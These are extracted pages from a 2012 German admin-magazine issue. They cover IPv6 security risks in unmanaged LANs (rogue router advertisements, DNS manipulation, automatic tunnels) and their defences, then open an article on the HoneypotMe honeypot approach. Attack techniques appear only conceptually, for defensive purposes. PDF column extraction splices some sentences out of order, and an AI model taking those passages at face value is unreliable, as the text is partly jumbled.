n DNS-Unterstützung<br />
n Source and Destination Address Selection<br />
(RFC 3484)<br />
n DHCPv6-Client aktiv<br />
n Link-Local Multicast Name Resolution<br />
(LLMNR)<br />
n Transition Technologies (Tunnel) aktiv<br />
n Windows Firewall ist IPv6-fähig, Stateful<br />
Inspection<br />
Linux<br />
n IPv6 installiert und aktiv<br />
n Stateless Address Autoconfiguration<br />
aktiv (RFC 2462 / RFC 4862)<br />
n GUI- und CLI-Konfiguration<br />
n Privacy Extensions (RFC 3041 / RFC<br />
4941) optional<br />
n DNS-Unterstützung<br />
n Source and Destination Address Selection<br />
(RFC 3484)<br />
n DHCPv6-Client optional<br />
n Multicast-DNS<br />
n Transition Technologies (Miredo) optional<br />
n Firewall: ip6tables, Stateful Inspection<br />
ab Kernel 2.6.20<br />
Mac OS X<br />
n IPv6 installiert und aktiv<br />
n Stateless Address Autoconfiguration<br />
(RFC 2462 / RFC 4862)<br />
n GUI- und CLI-Konfiguration möglich<br />
n Privacy Extensions (RFC 3041 / RFC<br />
4941) optional, ab 10.7 aktiv<br />
n Source and Destination Address Selection<br />
(nach RFC 3484), dabei ist die<br />
administrative Schnittstelle nicht vorhanden<br />
n DHCPv6 ab 10.7<br />
n Multicast-DNS-Unterstützung<br />
n Transition Technology (6to4) optional<br />
n rDNS (RFC5006) ab 10.7<br />
n Firewall: ip6fw – aber kein Konfigurationsmenü<br />
/ Standardeinstellung:<br />
accept<br />
40 Ausgabe 04-2012 Admin www.admin-magazin.de
Unmanaged IPv6<br />
Security<br />
Die iOS-Versionen für iPhone<br />
und iPad haben im Auslieferungszustand<br />
ebenfalls das<br />
IPv6-Protokoll aktiviert. Gleiches<br />
gilt für Smartphones und<br />
Tablet-PCs auf Android-Basis.<br />
In beiden Welten steht dem<br />
Benutzer allerdings keine administrative<br />
Schnittstelle zur<br />
Anpassung der IPv6-Konfiguration<br />
zur Verfügung.<br />
Autokonfiguration<br />
RFC 2462 „IPv6 Stateless<br />
Address Autoconfiguration“<br />
[1] beschreibt innerhalb des im LAN aktiv.<br />
IPv6-Standards die Stateless<br />
Address Autoconfiguration (SLAAC). Die<br />
Implementierung dieser Technik ist für<br />
jeden Host verpflichtend. Weitere Methoden<br />
sind optional und können das<br />
jeweilige Host-Interface mit weiteren<br />
IPv6-Adressen konfigurieren. Bei der Initialisierung<br />
eines LAN-Interfaces werden<br />
folgende vom RFC 2462 vorgesehenen<br />
Stufen durchlaufen:<br />
1. Link-Local Address (EUI-64 IID oder<br />
Pseudozufallszahl) generieren<br />
2. Neighbor Solicitation (NS) für Duplicate<br />
Address Detection (DAD) senden<br />
3. Autoconfiguration abbrechen, falls ein<br />
Neighbor Advertisement (NA) einen Adresskonflikt<br />
anzeigt<br />
4. Router Solicitation (RS) senden<br />
5. Falls kein Router Advertisement (RA)<br />
empfangen wird, starte DHCPv6<br />
6. Falls ein Router Advertisement (RA)<br />
empfangen wird:<br />
6.1. generiere Adressen für die enthaltenen<br />
Prefixe; danach DAD<br />
Abbildung 1: Bei aktuellen Betriebssystemen ist IPv6 ist neben IPv4 per Default<br />
6.2. falls M-Flag == 1 im Router Advertisement<br />
(RA):<br />
6.3. starte DHCPv6, um weitere Adressen<br />
und Parameter zu erhalten<br />
6.4. falls M-Flag == 0 und O-Flag == 1<br />
im Router Advertisement (RA):<br />
6.5. starte DHCPv6, um weitere Konfigurationsparameter<br />
zu erhalten (etwa<br />
DNS-<strong>Server</strong>)<br />
Dieser Autoconfiguration-Prozess im lokalen<br />
Netz hat verschiedene Schwachstellen,<br />
die sich, wenn der Admin sie<br />
nicht zusätzlich absichert, sowohl böswillig<br />
als auch unbeabsichtigt ausnutzen<br />
lassen. Dadurch sind lokale Netzteilnehmer<br />
gefährdet, lange bevor ein regulärer<br />
IPv6-Betrieb aufgenommen wird.<br />
Das größte Gefährdungspotenzial geht<br />
dabei von sogenannten Rogue Routern<br />
aus. Rogue Router manipulieren in böswilliger<br />
oder unbeabsichtigter Weise die<br />
Kommunikation des lokalen Link. Durch<br />
Senden einer initialen Router Solicitation<br />
(Abbildung 2) an die Link Local<br />
Multicast Address FF02::2<br />
versuchen Hosts, im Rahmen<br />
der Stateless Address Autoconfiguration<br />
unternehmensweit<br />
oder weltweit gültige<br />
IPv6-Prefixe zu erhalten, die<br />
mit einem Interface Identifier<br />
zu einer vollständigen 128 Bit-<br />
IPv6-Adresse verknüpft werden.<br />
Damit ist die Kommunikation<br />
über Subnetzgrenzen<br />
hinweg möglich. Auf die gesendete<br />
Anfrage antwortet<br />
im Normalfall der reguläre<br />
IPv6-Router, indem er an die<br />
Link Local Multicast Adresse<br />
FF02::1 (All Nodes) ein Router<br />
Advertisement (Abbildung 3) sendet.<br />
Im Payload trägt diese Nachricht alle am<br />
lokalen Subnetz gültigen IPv6-Prefixe<br />
und weitere Flags, die eine granulare<br />
Konfiguration ermöglichen. Die Router-<br />
Advertisement-Nachricht wird außerdem<br />
periodisch wiederholt.<br />
Rogue Router<br />
Wird nun ein Rogue Router aktiv und<br />
sendet dieser ebenfalls an die Multicast-<br />
Gruppe FF02::1 ein Router Advertisement<br />
(Abbildung 4), wird die Netzwerkkonfiguration<br />
der Hosts manipuliert, sodass<br />
die IP-Adressen und Routingtabellen<br />
nicht den administrativen Vorgaben entsprechen.<br />
Dieses Szenario findet sich in<br />
der Praxis häufig, da Technologien wie<br />
Windows Internet Connection Sharing<br />
(ICS), Software Router in Linux-Derivaten<br />
(»radvd«) oder diverse Tools aus<br />
bekannten Werkzeugsammlungen im<br />
Abbildung 2: Ein Host versucht, durch Senden einer initialen Router-Solicitation<br />
eine weltweit gültige IPv6-Adresse zu erhalten.<br />
Abbildung 3: Im Normalfall antwortet ein regulärer Router auf die Anfrage, indem<br />
er ein Router Advertisement verschickt.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
41
Security<br />
Unmanaged IPv6<br />
Tabelle 1: Auswahl nach RFC 3484<br />
Precedence Label Prefix Beschreibung<br />
50 0 ::1/128 Loopback<br />
40 1 ::/0 IPv6-Adressen<br />
30 2 2002::/16 6to4 Adressen<br />
20 3 ::/96 IPv4 kompatible Adressen (veraltet)<br />
10 4 ::ffff:0:0/96 IPv4 Adressen (mapped)<br />
5 5 2001::/32 Teredo<br />
Abbildung 4: Ein Rogue Router bringt ebenfalls Router Advertisements in Umlauf,<br />
die Hosts im LAN verwenden, um daraus IPv6-Adressen für sich zu bilden.<br />
Internet Router Advertisements (RAs)<br />
an die lokalen Kommunikationspartner<br />
ohne großen manuellen Aufwand verteilen.<br />
Werden diese Aktivitäten nicht überwacht,<br />
etabliert sich der Rogue Router als<br />
IPv6 Default Gateway. Darüber hinaus<br />
kann er über bestimmte Flags im Router<br />
Advertisement die DNS-Konfigurationen<br />
der Hosts kontrollieren.<br />
DNS und LLMNR<br />
Anwendungen verwenden in der Regel<br />
eine Resolver Library die zum RFC 3484<br />
[2] kompatibel ist („Default Address Selection<br />
for Internet Protocol version 6<br />
(IPv6)“). Aufgrund der selbstverständlichen<br />
Nutzung von IPv4 und der unbewussten<br />
IPv6-Nutzung ergeben sich<br />
Wechselwirkungen mit den Personal<br />
Firewalls auf den jeweiligen Endsystemen<br />
sowie mit dem Netzwerkmonitoring, da<br />
diese Sicherungsmaßnahmen aktuell auf<br />
IPv4 fokussiert sind.<br />
Abbildung 5 zeigt einen Wireshark Mitschnitt<br />
der Auflösung des Host-Namens<br />
„ibm-r52“ mithilfe des Link Local Multicast<br />
Name Resolution Protocols (LLMNR).<br />
Liefert die DNS-Auflösung keine IP-Adresse,<br />
wird LLMNR in neueren Microsoft<br />
Betriebssystemen als Ergänzung genutzt.<br />
Da Source und Destination Address dem<br />
Link-Local-Scope (fe80::/10) zuzuordnen<br />
sind, ist das Übertragungsprotokoll IPv6.<br />
Die Tatsache, dass IPv6 aktiviert ist und<br />
LLMNR eine Namensauflösung liefert,<br />
hat zur Folge, dass die anstehenden<br />
Nachrichten nun auch über IPv6 transportiert<br />
werden.<br />
Im schon erwähnten RFC 3484 ist die<br />
Implementierung einer administrativen<br />
Schnittstelle zur Steuerung des bevorzugten<br />
Netzwerkprotokolls<br />
und der<br />
Adressauswahl im<br />
jeweiligen Host-<br />
Betriebssystem gefordert.<br />
Microsoft-Administratoren können<br />
diese Policy über Netsh-Befehle ändern.<br />
Linux-Admins editieren die Datei »/<br />
etc/gai.conf«. Lediglich Apple entspricht<br />
mit seinem OS X nicht der Forderung<br />
des RFC.<br />
Die Auswahlkriterien werden wie in Tabelle<br />
1 zeilenweise definiert und dargestellt.<br />
Einer Adresse wird dabei im Auswahlprozess<br />
nach RFC 3484 die Zeile<br />
mit der bestmöglichen Übereinstimmung<br />
(Prefix) zugeordnet.<br />
Die Spalte »Precedence« gibt einer IPv6<br />
Global Unicast-Adresse den Wert 40, der<br />
IPv6 Loopback Address den Wert 50.<br />
Platzhalter für mögliche IPv4-Adressen<br />
ist der Eintrag ::ffff:0:0/96 mit der Precedence<br />
10. Aufgrund der höheren Precedence<br />
wird IPv6 bevorzugt. Dabei werden<br />
Source Address und Destination Address<br />
möglichst so ausgewählt, dass der Gültigkeitsbereich<br />
(Global oder Link Local)<br />
übereinstimmt. Die Spalte »Label« steuert<br />
die Zuordnung einer Source Address zu<br />
einer Destination Address, falls mehrere<br />
Adressen zur Auswahl stehen.<br />
Wie bereits weiter oben erwähnt, haben<br />
die im Router Advertisement gesetzen<br />
Flags direkten Einfluss auf die DNS-<br />
Konfiguration der Hosts. Abbildung 6<br />
zeigt ein Router Advertisement, in dem<br />
das gesetzte »OTHER«-Flag signalisiert,<br />
weitere Konfigurationsparameter mittels<br />
Stateless DHCPv6 zu suchen. So kann die<br />
DNS-Konfiguration eines Hosts gesteuert<br />
beziehungsweise manipuliert werden. Alternativ<br />
bietet dazu der RFC 5006 [3] als<br />
neuere Methode an, den DNS-<strong>Server</strong> im<br />
Router Advertisement bekanntzugeben<br />
(Option Recursive DNS <strong>Server</strong>). Allerdings<br />
kann so ein potenzieller <strong>Angreifer</strong><br />
mittels der beschriebenen Techniken die<br />
reguläre DNS-Infrastruktur umgehen.<br />
Das gilt sowohl für die Abbildung der<br />
Host-Namen auf IPv4-Adressen als auch<br />
auf IPv6-Adressen.<br />
In der Microsoft-Welt kann dann wegen<br />
der dynamischen DNS-Updates im Active<br />
Directory und der weiter unten vorgestellten<br />
6to4-Tunnel ungewollt die Kommunikation<br />
über IPv6 erfolgen.<br />
Weitere latente Gefährdungen werden<br />
durch die von Microsoft automatisch<br />
Abbildung 5: Mitschnitt der Auflösung eines Hostnamens mithilfe des Link Local Multicast Name Resolution<br />
Protocols.<br />
42 Ausgabe 04-2012 Admin www.admin-magazin.de
Unmanaged IPv6<br />
Security<br />
aktivierten Tunneltechnologien wie ISA-<br />
TAP, 6to4 und Teredo in die Kommunikationsnetze<br />
getragen. Unübersehbar<br />
sind die intensiven Wechselwirkungen<br />
zwischen IPv6 und dem etablierten Vorgänger<br />
IPv4, da alle Tunneltechnologien<br />
IPv6-Datenverkehr in IPv4 tunneln (Abbildung<br />
7). Damit wird IPv4 zur Link-<br />
Layer-Technologie.<br />
Transition Technologies<br />
Im Folgenden sollen diese Tunnelmechanismen<br />
kurz beschrieben werden.<br />
Intra-Site Automatic Tunnel Addressing<br />
Protocol (ISATAP) wird von Microsoft-<br />
Betriebssystemen bevorzugt, wenn keine<br />
native IPv6-Konfiguration innerhalb des<br />
SLAAC-Prozesses ermittelt wurde. Eine<br />
wichtige Rolle spielt der ISATAP-Router,<br />
der im IPv4-Netz kontaktiert wird. Den<br />
wesentlichen Schritt bildet dabei die Auflösung<br />
des Host-Namens »isatap« in eine<br />
gültige IPv4 Router-Adresse. Danach werden<br />
über Router Solicitation und Router<br />
Advertisements die notwendigen IPv6-<br />
Initialisierungsschritte durchlaufen. Ein<br />
wichtiger Unterschied ist aber, dass diese<br />
IPv6-Initialisierung als IPv4-Unicast (IP-<br />
Protokoll 41) im Netzwerk übertragen<br />
wird. Danach sind ISATAP-Hosts adjazent<br />
(benachbart) zu allen nativen IPv6-<br />
Netzen.<br />
Falls weder SLAAC noch ISATAP eine<br />
erfolgreiche IPv6-Konnektivität herstellen,<br />
wird 6to4 als Tunneltechnologie<br />
ausgewählt. Jeder Host eines Intranets<br />
mit offiziellen IPv4-Adressen (Class A/<br />
B/C) kann eine 6to4-Adresse generieren.<br />
Sie setzt sich zusammen aus dem Prefix<br />
2002::/16 und der offiziellen IPv4-Adresse<br />
des Hosts. Damit sind alle Hosts in<br />
einem Intranet lokal adjazent und haben<br />
zudem über das IPv4-Protokoll 41 Zugriff<br />
auf das weltweite IPv6-Netz. Zentrale Sicherheitsmaßnahmen,<br />
wie zum Beispiel<br />
Firewalls, die den Transport dieses Protokolls<br />
nicht unterbinden, sind somit<br />
auch nicht in der Lage, die Sicherheit<br />
des Netzes in ausreichendem Maße zu<br />
gewährleisten. Welches zusätzliche Potenzial<br />
in diesem Mechanismus steckt,<br />
zeigt die Kombination aus Internet Connection<br />
Sharing (ICS) und 6to4: Aktiviert<br />
ein Windows Benutzer ICS, wird das System<br />
zum 6to4-Host-Router und verteilt<br />
im lokalen Netz Router Advertisements,<br />
Weil den IPv6-Basiskonzepten Sicherheitsvorkehrungen<br />
fehlen, ergeben sich<br />
die beschriebenen Gefährdungen, denen<br />
der Admin durch adäquate Maßnahmen<br />
ent<strong>gegen</strong>gewirken muss. Das Dokument<br />
[5] fordert zwingend, dass Layer 2 Switwodurch<br />
dieses System zum aktiven IPv6<br />
Router im lokalen Netz wird, der eine<br />
Verbindung zwischen Intranet und Internet<br />
herstellen kann.<br />
Teredo und Miredo<br />
Die Last Resort Transition Technology ist<br />
im RFC 4380 „Teredo: Tunneling IPv6<br />
over UDP through Network Address<br />
Translations (NATs)“ [4] beschrieben.<br />
Als Open-Source-Lösung steht das Paket<br />
Miredo zur Verfügung. Ist explizit eine<br />
IPv6-Zieladresse spezifiziert, so werden<br />
mit externen <strong>Server</strong>n sogenannte Bubble-<br />
Packets ausgetauscht, die wiederum die<br />
notwendigen Portöffnungen in den NAT-<br />
Geräten verursachen. Damit sind die<br />
Hosts als IPv6-System erreichbar, und<br />
NAT ist keine Barriere mehr zwischen<br />
Internet und lokalem Netz. Die Übertragung<br />
im lokalen IPv4 Netz erfolgt als<br />
UDP-Datagram über Port 3544. Durch<br />
die in der Client-IPv6-Adresse kodierten<br />
IPv4-Informationen (IPv4-Adresse des<br />
<strong>Server</strong>s / NAT-Typ / Externer IPv4 Port /<br />
Externe IPv4-Adresse) kann der bidirektionale<br />
Verkehrsfluss mittels IPv4-UDP<br />
vom Client über ein Relay zum externen<br />
IPv6-Rechner ermöglicht werden. Kollaborative<br />
Filesharing-Protokolle können<br />
den Teredo-basierten Transfer nutzen.<br />
Neben diesen Mechanismen bieten Tunnel<br />
Broker (SixXS, Hurricane Electric) weitere<br />
Möglichkeiten der IPv6-Anbindung.<br />
Die Übertragungsvarianten basieren oftmals<br />
auf UDP oder 6in4, um einen Relay<br />
des jeweiligen Anbieters zu erreichen.<br />
Innerhalb eines Unternehmensnetzwerks<br />
besteht die Gefahr, dass unbedarfte Anwender<br />
Verbindungen des lokalen Netzes<br />
zum weltweiten IPv6-Internet herstellen.<br />
Die Tunnel-Broker weisen in der Regel<br />
nach einer Registrierung dem Kunden<br />
großzügig IPv6-Prefixe zu. Diese können<br />
wiederum durch einen Rogue Router im<br />
lokalen Netz verteilt werden und mit den<br />
global gültigen Adressen lässt sich weltweit<br />
im IPv6-Netz kommunizieren.<br />
Die Tunnelmechanismen zeigen deutlich,<br />
dass durch die Übertragung in IPv4 die<br />
Kommunikationsbeziehungen nur schwer<br />
zu analysieren sind. Punkt-zu-Punkt-Verbindungen<br />
sind auch im Regelwerk einer<br />
Firewall deshalb neu zu bewerten, da<br />
ungewollt weltweite Adjazenzen gebildet<br />
werden, die eine etablierte Sicherheitspolicy<br />
untergraben. Treffen verschiedene<br />
Bedingungen wie eine nicht administrierte<br />
Namensauflösung, fehlkonfigurierte<br />
Hosts mit Windows ICS und eine<br />
nur auf IPv4 ausgerichtete Firewall-Policy<br />
aufeinander, können die Folgen gravierend<br />
sein. Einen Gipfelpunkt stellt dabei<br />
das Potenzial eines MitM-Angriffs durch<br />
ungewollte oder absichtliche Verkehrsumleitungen<br />
dar.<br />
Lösungen<br />
Abbildung 6: Das Router Advertisement mit gesetztem OTHER-Flag beeinflusst direkt die DNS-Konfiguration<br />
eines Hosts.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
43
Security<br />
Unmanaged IPv6<br />
natives IPv6-Deployment erfolgt. Ansonsten<br />
ist für die Microsoft Betriebssysteme<br />
die Deaktivierung dieser Technologien<br />
zu empfehlen. Der System-Administrator<br />
führt dazu folgenden Befehle aus:<br />
netsh interface ipv6 6to4 U<br />
set state disabled undoonstop=disabled<br />
netsh interface ipv6 isatap U<br />
set state disabled<br />
netsh interface ipv6 set teredo U<br />
disable<br />
Abbildung 7: Automatisch aktivierte Tunnel-Technologien verpacken IPv6 in IPv4.<br />
ches Router Advertisements filtern können.<br />
Erste Erfahrungen zeigen, dass auch<br />
führende Hersteller diese Funktion leider<br />
nur in neuesten Hard- und Software-Versionen<br />
unterstützen. Falls Layer-2-Devices<br />
pro Port eine Zugriffskontrollliste schalten<br />
können, so ist das eine effektive Maßnahme<br />
<strong>gegen</strong> Rogue Router und Rogue<br />
DHCPv6-Advertisements. Der RFC 6104<br />
„Rogue IPv6 RA Statement“ [6] liefert<br />
eine umfassende Zusammenstellung der<br />
Problematik. Aktuell arbeiten die Hersteller<br />
an Lösungen, die unter dem Stichwort<br />
First-Hop-Security die Stateless Address<br />
Autoconfiguration absichern. Unverzichtbar<br />
sind in Zukunft Funktionen wie IPv6<br />
RA Guard, IPv6 ND Inspection und Device<br />
Tracking.<br />
Gegenwehr<br />
Listing 1: IPv6-Einstellungen im AD<br />
01 Enable all IPv6 components (Windows default)<br />
02 Disable all IPv6 components<br />
03 Disable 6to4<br />
04 Disable ISATAP<br />
05 Disable Teredo<br />
06 Disable Teredo and 6to4<br />
07 Disable all tunnel interfaces<br />
08 Disable all LAN and PPP interfaces<br />
09 Disable all LAN, PPP and tunnel interfaces<br />
10 Prefer IPv4 over IPv6<br />
Das Tool Ramond (University of Southhampton)<br />
kann Router Advertisements<br />
als Antwort auf Rogue Router Advertisements<br />
generieren, die die Konfigurationsparameter<br />
aus der Stateless Address<br />
Autoconfiguration (SLAAC) verwerfen.<br />
Dazu müssen Router und Preferred Lifetime<br />
im RA den Wert Null haben. Natürlich<br />
sind alle Adressen (Layer 2 und<br />
Layer 3) in diesem Advertisement vorgetäuscht<br />
(spoofed). Empfängt ein Host ein<br />
solches Router Advertisement, verwirft<br />
er die dazugehörigen IPv6-Adressen und<br />
Routing-Einträge. Die im vorhergehenden<br />
Abschnitt beschriebenen Zugriffskontrolllisten<br />
verhindern eine böswillige<br />
Nutzung des Tools.<br />
In Subnetzen, die lediglich IPv4-Funktionalität<br />
haben, kann ein NDPMON-<strong>Server</strong><br />
installiert werden. Dieser Neighbor Discovery<br />
Monitor führt eine Historie über<br />
die Zuordnung von RFC-3041-IPv6-Adressen<br />
und Mac-Adressen und kann unter<br />
anderem über empfangene Rogue Router<br />
Advertisements informieren.<br />
Personal Firewalls sollten entsprechend<br />
den Empfehlungen des RFC 4890 „Recommendations<br />
for Filtering ICMPv6<br />
Messages in Firewalls“ [7] konfiguriert<br />
werden. Unter den Microsoft Betriebssystemen<br />
ist die eigene Microsoft Firewall<br />
empfehlenswert, da diese Stateful Inspection<br />
für IPv4 und IPv6 bietet und auch<br />
die Transition Technologies korrekt verarbeitet.<br />
Eine Verbesserung wäre in Form<br />
einer Weiterentwicklung der bisherigen<br />
Netzwerkerkennung denkbar, um eine<br />
persistente Bindung zwischen den Adressen<br />
(Layer 2 und Layer3) eines regulären<br />
Routers und der Windows-Firewall einmalig<br />
pro Subnetz einzurichten. Linux-<br />
Administratoren verfügen seit Kernel 2.6<br />
mit »ip6tables« ebenfalls über eine Stateful<br />
Inspection Firewall.<br />
Der auf dieser Basis adminstrierte IPv6-<br />
Betrieb stellt auch die erste Lösung <strong>gegen</strong><br />
die vorgestellten Transition Technologies<br />
dar, weil die nur aktiv werden, wenn kein<br />
Anschließend ist ein Neustart erforderlich.<br />
In einer AD-Umgebung können die<br />
Einstellungen zental verwaltet werden.<br />
Unter »Computer Configuration | Policies<br />
| Administrative Templates | Network |<br />
IPv6 Configuration« können die IPv6-Einstellungen<br />
aus Listing 1 gewählt werden.<br />
Weiterhin sollten das Protokoll 6in4 und<br />
die Teredo-Kommunikation in Firewalls<br />
und Routern geblockt werden.<br />
Fazit<br />
Aufgrund der Erfahrungen aus dem lokalen<br />
Unternehmensnetzwerk stellt sich IPv6<br />
zunächst als eine Zusatzbelastung für die<br />
Netzadministration dar. Darüber hinaus<br />
ergibt sich durch das latente Gefährdungspotenzial<br />
und die De-facto-Nutzung des<br />
Protokolls ein Schulungs- und Trainingsbedarf<br />
für Administratoren und Benutzer.<br />
Zudem ist eine zentral koordinierte Einführung<br />
des neuen Protokolls von großer<br />
Bedeutung für den störungsfreien Betrieb.<br />
Wegen der Komplexität sollte man den<br />
Zeitfaktor nicht unterschätzen und frühzeitig<br />
mit den Planungen beginnen. IPv6<br />
zu ignorieren, ist jedenfalls gefährlich.<br />
(jcb)<br />
n<br />
Infos<br />
[1] RFC 2462: [http:// www. ietf. org/ rfc/<br />
rfc2462. txt]<br />
[2] RFC 3484: [http:// www. ietf. org/ rfc/<br />
rfc3484. txt]<br />
[3] RFC 5006: [http:// tools. ietf. org/ html/<br />
rfc5006]<br />
[4] RFC 4380: [http:// www. ietf. org/ rfc/<br />
rfc4380. txt]<br />
[5] IPv6-Sicherheitsanforderungen: [http://<br />
www. ripe. net/ ripe/ docs/ ripe‐501]<br />
[6] RFC 6104: [http:// tools. ietf. org/ html/<br />
rfc6104]<br />
[7] RFC 4890: [http:// www. ietf. org/ rfc/<br />
rfc4890. txt]<br />
44 Ausgabe 04-2012 Admin www.admin-magazin.de
Alle Ausgaben der letzTen 12 Monate<br />
Sie haben ein Admin verpasst? Kein Problem!<br />
Bei uns können Sie alle Ausgaben des <strong>ADMIN</strong> <strong>Magazin</strong><br />
der letzten 12 Monate ganz einfach und versandkostenfrei<br />
unter www.admin-magazin.de/einzelheft nachbestellen:<br />
<strong>ADMIN</strong> 04/2011 <strong>ADMIN</strong> 05/2011 <strong>ADMIN</strong> 06/2011<br />
<strong>ADMIN</strong> 01/2012 <strong>ADMIN</strong> 02/2012 <strong>ADMIN</strong> 03/2012<br />
Damit Sie keine Ausgabe mehr verpassen,<br />
bestellen Sie am besten gleich ein Abo<br />
vom <strong>ADMIN</strong> <strong>Magazin</strong> und sparen:<br />
Telefonisch unter: 07131 / 2707 274,<br />
per Fax: 07131 / 2707 78 601 oder<br />
E-Mail: abo@admin-magazin.de,<br />
Web: www.admin-magazin.de/abo
security<br />
HoneypotMe<br />
© monphoto, 123RF<br />
Effektivere Honeypots durch Sensoren auf Produktivsystemen<br />
Fallensteller<br />
Computer sind heute einer stark wachsenden Bedrohung durch automatisierte Schadprogramme ausgesetzt. Ein<br />
Mittel, diese zu entlarven, sind sogenannte Honeypots. Damit sie möglichst viele Schädlinge leimen, lassen sich<br />
ihre Sensoren auch auf gewöhnliche Produktivsysteme verteilen. Jan Gassen, Elmar Gerhards-Padill<br />
Die Anzahl automatisierter Schadprogramme,<br />
die sich selbstständig über das<br />
Internet verbreiten, ist gerade in den<br />
letzten Jahren explodiert (Abbildung 1).<br />
Einzelne Quellen berichten von über 286<br />
Millionen neuen Schadprogrammen, die<br />
alleine im Jahr 2010 registriert wurden.<br />
Dabei ist die Dunkelziffer noch gar nicht<br />
berücksichtigt.<br />
Tatsächlich bringen viele dieser neuen<br />
Schadprogramme gar keine neuartigen<br />
Funktionen mit, sondern verwenden<br />
stattdessen poly- oder metamorphen<br />
Code, der regelmäßig neue, leicht veränderte<br />
Varianten eines Schadprogramms<br />
mit praktisch identischer Funktion generiert.<br />
Das verändert die Struktur des<br />
Schadprogramms so, dass es klassische,<br />
signaturbasierte Erkennungsverfahren<br />
nicht länger finden. Um dennoch eine<br />
signaturbasierte Erkennung zu ermöglichen,<br />
wie sie etwa Virenscanner oder<br />
Intrusion Detection Systeme verwenden,<br />
sind regelmäßig aktualisierte Signaturdatenbanken<br />
erforderlich. Um alle neu<br />
erkannten Schadprogramme eindeutig<br />
einer solchen Signatur zuordnen zu<br />
können, wären dazu jedoch im Schnitt<br />
mehr als 38 neue Signaturen pro Minute<br />
nötig.<br />
Diese Zahl macht deutlich, dass signaturbasierte<br />
Verfahren allein nicht alle aktuellen<br />
Schadprogramme zuverlässig zu<br />
erkennen vermögen.<br />
Neue Erkennungsmethoden<br />
Um die Verbreitung solcher Schadprogramme<br />
dennoch zu registrieren, benötigt<br />
man zusätzlich andere Erkennungsmethoden<br />
wie zum Beispiel Honeypots.<br />
Sie sind in der Lage, auch unbekannte<br />
Angriffe ohne die Hilfe von Signaturen zu<br />
registrieren, wenn sie auf eine der extra<br />
bereitgestellten Verwundbarkeiten abzielen.<br />
Da Honeypots jedoch ausschließlich<br />
direkte Angriffe auf ihre eigenen Ressourcen<br />
erkennen, stößt eine umfassende<br />
Netzüberwachung mit ihrer Hilfe oft an<br />
Kapazitätsgrenzen. Das betrifft sowohl<br />
den Administrations- wie den Auswerteaufwand.<br />
Einen Ausweg bietet ein neuartiger<br />
Ansatz, den dieser Beitrag vorstellen<br />
möchte.<br />
Ob Honeypots Angriffe registrieren können,<br />
hängt letztlich auch davon ab, ob<br />
es einem <strong>Angreifer</strong> möglich ist, den Honeypot<br />
als solchen zu erkennen. Das gilt<br />
insbesondere für menschliche, technisch<br />
versierte <strong>Angreifer</strong>. Verfügen sie etwa<br />
über Informationen über die Netzinfrastruktur<br />
oder die Adresse des für sie interessanten<br />
Systems, können sie so vorgehen,<br />
dass der Honeypot den Angriff nicht<br />
erkennt. Verfügt der <strong>Angreifer</strong> da<strong>gegen</strong><br />
über keine detaillierten Informationen<br />
über das angegriffene Netz, wird er typischer<br />
Weise versuchen, mithilfe aktiver<br />
Scan-Verfahren potenziell verwundbare<br />
Dienste aufzuspüren.<br />
Eine zweite Gefahr besteht darin, dass<br />
der <strong>Angreifer</strong> den Honeypot an der charakteristischen<br />
Auswahl an Diensten erkennt,<br />
die er anbietet. Diesem Problem<br />
kann man begegnen, indem man die<br />
Honeypots in regelmäßigen Abständen<br />
an reale Produktivsysteme anpasst. Das<br />
bringt jedoch zusätzlichen Aufwand und<br />
eine Einschränkung der Sichtbarkeit einzelner<br />
Honeypots mit sich.<br />
HoneypotMe<br />
Um dennoch eine umfassende Netzüberwachung<br />
auf Basis von Honeypots<br />
zu ermöglichen, basiert der Ansatz von<br />
HoneypotMe darauf, Honeypot-Sensorik<br />
flexibel auf Produktivsysteme auszulagern.<br />
Konkret bewerkstelligt das die Software<br />
dadurch, dass sie einzelne Ports<br />
46 Ausgabe 04-2012 Admin www.admin-magazin.de
HoneypotMe<br />
security<br />
Antwortnachrichten gelangen anschließend<br />
über den Tunnel zurück an das<br />
angegriffene System, das sie an das angreifende<br />
System weiterleitet. Der Vorteil<br />
solcher getunnelter Verbindungen <strong>gegen</strong>über<br />
einer Proxy-Lösung besteht darin,<br />
dass die Analysekomponente sowohl<br />
Informationen über das angreifende als<br />
auch über das angegriffene System erals<br />
Honeypot verwendet. Tatsächlich<br />
stellen viele Produk-<br />
80 000 000<br />
tivsysteme nämlich nur eine<br />
70 000 000<br />
geringe Anzahl von Diensten<br />
60 000 000<br />
bereit, die über das Netz erreichbar<br />
und so von Schadprogrammen<br />
oder manuellen<br />
50 000 000<br />
<strong>Angreifer</strong>n ausnutzbar sind.<br />
40 000 000<br />
Ist ein solcher Dienst auf einem<br />
Produktivsystem nicht<br />
30 000 000<br />
verfügbar, so sollte auch keine 20 000 000<br />
Interaktion mit dem entsprechenden<br />
Port feststellbar sein.<br />
10 000 000<br />
Kommt es dennoch zu Zugriffsversuchen,<br />
so wird der<br />
Verbindungsaufbauversuch<br />
in der Regel automatisch vom<br />
TCP-Stack des angegriffenen<br />
Systems abgelehnt oder bereits<br />
vorher von entsprechend restriktiven<br />
Firewall-Regeln blockiert. In beiden<br />
Fällen können jedoch keine weiteren<br />
Informationen über den fehlgeschlagenen<br />
Versuch gesammelt werden, auch<br />
wenn dies möglich gewesen wäre. Wäre<br />
die Verbindung stattdessen von einem<br />
Honeypot angenommen und ausgewertet<br />
worden, so hätte er einen möglichen<br />
Infektionsversuch direkt erkannt. Es liegt<br />
also nahe, solche ungenutzten Ports auch<br />
auf Produktivsystemen als Honeypot zu<br />
verwenden und so unerwünschte Verbindungen<br />
detailliert auszuwerten.<br />
Risikolos weiterleiten<br />
Eine Auswertung eingehender Verbindungen<br />
auf geschlossenen Ports direkt<br />
auf den betroffenen Produktivsystemen<br />
würde jedoch auch ein erhöhtes Sicherheitsrisiko<br />
sowie einen zusätzlichen Ressourcenbedarf<br />
für das Produktivsystem<br />
bedeuten. Gleichzeitig ergäbe sich so ein<br />
ähnlicher administrativer Aufwand durch<br />
nötige Aktualisierungen wie durch den<br />
Einsatz dedizierter Honeypots. Schließlich<br />
würde durch den Einsatz<br />
von Honeypot-Software auf<br />
Produktivsystemen ein zusätzliches<br />
Sicherheitsrisiko<br />
für die betroffenen Systeme<br />
entstehen. Denn schließlich<br />
könnte es <strong>Angreifer</strong>n gelingen,<br />
Sicherheitslücken in der<br />
Honeypot-Software auszunutzen,<br />
um so auf das Produktivsystem<br />
zuzugreifen.<br />
Malware insgesamt<br />
